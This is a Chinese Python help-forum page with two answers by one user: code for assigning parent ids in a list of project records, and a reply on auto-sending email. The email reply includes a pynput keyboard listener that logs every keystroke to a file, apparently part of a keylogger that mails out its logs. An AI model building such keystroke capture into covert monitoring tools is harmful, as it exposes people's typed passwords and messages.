Py学习  »  skaul05  »  全部回复
回复总数  2
5 年前
回复了 skaul05 创建的主题 » python:更新for循环中的父级

请尝试以下代码:

result_gantt = [{"id":1,"prj_id":808348,"parent":1},{"id":2,"prj_id":808352,"parent":2},{"id":3,"prj_id":808356,"parent":3},{"id":4,"prj_id":808361,"parent":4},{"id":5,"prj_id":808365,"parent":0},{"id":6,"prj_id":808370,"parent":0},{"id":7,"prj_id":808370,"parent":6},{"id":8,"prj_id":808370,"parent":7},{"id":9,"prj_id":808370,"parent":8}]

index = 0
prev_index = 0 # To maintain the index in case of consecutive id's
last_prj_id = ""
check = False # Check for consecutive id's
for row in result_gantt:
    current_prj_id = row['prj_id']
    parent = row['parent']
    parent = index

    if current_prj_id == last_prj_id:
        if not check: # Will be true in case of consecutive id's
            prev_index = last_id
        parent = last_id
        check = True
    else:
        check = False
        parent = index

    last_prj_id = row['prj_id']
    last_id = row['id']
    row['parent'] = parent if not check else prev_index

for i in result_gantt:
    print i

输出:

{'prj_id': 808348, 'id': 1, 'parent': 0}
{'prj_id': 808352, 'id': 2, 'parent': 0}
{'prj_id': 808356, 'id': 3, 'parent': 0}
{'prj_id': 808361, 'id': 4, 'parent': 0}
{'prj_id': 808365, 'id': 5, 'parent': 0}
{'prj_id': 808370, 'id': 6, 'parent': 0}
{'prj_id': 808370, 'id': 7, 'parent': 6}
{'prj_id': 808370, 'id': 8, 'parent': 6}
{'prj_id': 808370, 'id': 9, 'parent': 6}
5 年前
回复了 skaul05 创建的主题 » 如何使python自动发送电子邮件

因此,首先,当侦听器调用开始时,您没有添加任何中断,这样您的程序就会陷入那个循环中,并且没有任何条件可以出来。

尝试在下面的代码中添加断点

with Listener(on_press=on_press) as listener:
listener.join()

可以将特定字符添加为断点,或将某些行添加为断点。

如果您的邮件发送代码不起作用,请尝试使用gmail api。 Gmail API Docs

根据以下代码修改文件:

def on_press(key):
    logging.info(str(key))

def on_release(key):
    logging.info('{0} release'.format(key))
    if key == Key.caps_lock:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

您可以找到与上述代码相关的更多信息 here

如果无法接收邮件,可能是因为未启用POP/IMAP。遵循以下步骤:

  1. 登录你的Gmail帐户
  2. 转到“设置”,然后单击“转发”并弹出/imap部分。
  3. 在IMAP访问部分启用IMAP。